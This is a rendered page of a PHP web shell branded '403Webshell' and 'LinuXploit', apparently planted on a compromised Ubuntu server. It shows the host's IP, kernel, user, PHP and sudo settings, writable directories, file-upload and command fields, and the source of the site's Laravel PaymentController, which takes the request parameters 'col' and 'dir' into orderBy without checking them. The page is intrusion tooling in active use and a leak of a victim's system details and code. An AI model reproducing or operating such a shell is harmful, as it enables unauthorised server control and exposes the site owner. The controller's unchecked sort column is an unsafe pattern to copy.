403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/shark-admin/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shark-admin/app/Http/Controllers/PaymentController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Stripe\Stripe;
use Stripe\Checkout\Session;
use App\Models\PricingPlan;
use App\Models\Order;
use App\Models\Payment;
use App\Models\Website;
use Stripe\Webhook;

class PaymentController extends Controller
{
    
    public function list(Request $request){

        $payments = Payment::query();

        
        $title = "Payments list";
        
        
        $col = "payments.created_at";

        if($request->col){
            $col = $request->col;
        }
        $dir = $request->get('dir', 'desc');

        $payments = $payments->orderBy($col, $dir);

        if (request()->filled('q')) {
            $search = request()->q;

            $payments
                ->join('users', 'users.id', '=', 'payments.user_id')
                ->join('orders', 'orders.id', '=', 'payments.order_id')
                ->where(function ($query) use ($search) {
                    $query->where('users.name', 'like', "%{$search}%")
                        ->orWhere('orders.name', 'like', "%{$search}%");
                })
                ->select('payments.*');
        }

        $payments = $payments->paginate(20); // 10 users per page

        return view('payments.list', compact('payments','title','col','dir'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit